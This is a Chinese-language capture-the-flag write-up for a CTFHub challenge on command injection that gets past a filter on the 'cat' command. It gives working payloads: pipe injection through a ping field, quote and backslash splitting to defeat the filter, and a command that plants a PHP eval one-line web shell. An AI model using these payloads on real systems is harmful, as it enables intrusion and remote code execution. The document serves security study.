0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
过滤cat:
过滤了 cat 命令之后,你还有什么方法能读到 Flag ?
0x02 解题过程
0x1 方法一:命令注入
Ⅰ在目标 IP 输入框中输入 IP 并点击 Ping 按钮, Ping 一下试试。页面正常回显。
Ⅱ和前文方法一样,使用管道符执行注入。发现一个 flag 的可疑文件。
http://challenge-46d97d2b266146c3.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls
Ⅲ因为在代码中可以看到,网页对 cat 命令做了过滤处理。那么这题我们无法使用 cat 命令执行注入。当然,在 linux 中还有很多方法可以替代 cat 命令。例如 awk 命令,(详细介绍将在后文做出解释)使用 awk 命令访问 flag 文件夹,和之前的题目一样,网页无回显。检查网页源代码发现此题 flag 。
http://challenge-46d97d2b266146c3.sandbox.ctfhub.com:10800/?ip=127.0.0.1|awk '{print}' flag_57691538432265.php
0x2 方法二:连接符
Ⅰ直接使用连接符绕过网页过滤,查看网页源代码发现此题 flag 。
[1]. ca''t flag_25860318366859.php
[2]. ca\t flag_25860318366859.php
0x3 方法三:构造Payload
Ⅰ直接在搜索框中上传一句话木马。
127.0.0.1 &echo "<?php @eval(\$_POST['CTFHub']);?>" >> shell.php
Ⅱ打开蚁剑测试连通性,可以正常连接。
Ⅲ检查网页目录,在 flag 目录中发现此题 flag 。
0x03 过滤方法
除了 cat 命令,在 linux 中还有很多命令可以替代,也为渗透测试提供了很多手法,这里介绍几个常见的命令。
命令 | 描述 | 示例 |
more | 逐屏显示内容,按空格向下翻页,按q退出 | |
less | 逐屏显示内容,支持搜索、向前/向后翻页等 | |
head | 显示文件的前几行,默认为前10行 | |
tail | 显示文件的后几行,默认为最后10行 | |
tac | 反向显示文件内容,即从最后一行开始显示,直到第一行 | |
nl | 给文件添加行号,可以与cat 命令结合使用 | |
awk | 处理文本文件中的数据,并按照指定的格式输出 | |
0x04 参考文献
[1].runoob. Linux 手册[EB/OL]. [2023-06-18]. https://www.runoob.com/linux/linux-tutorial.html.
0x05 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。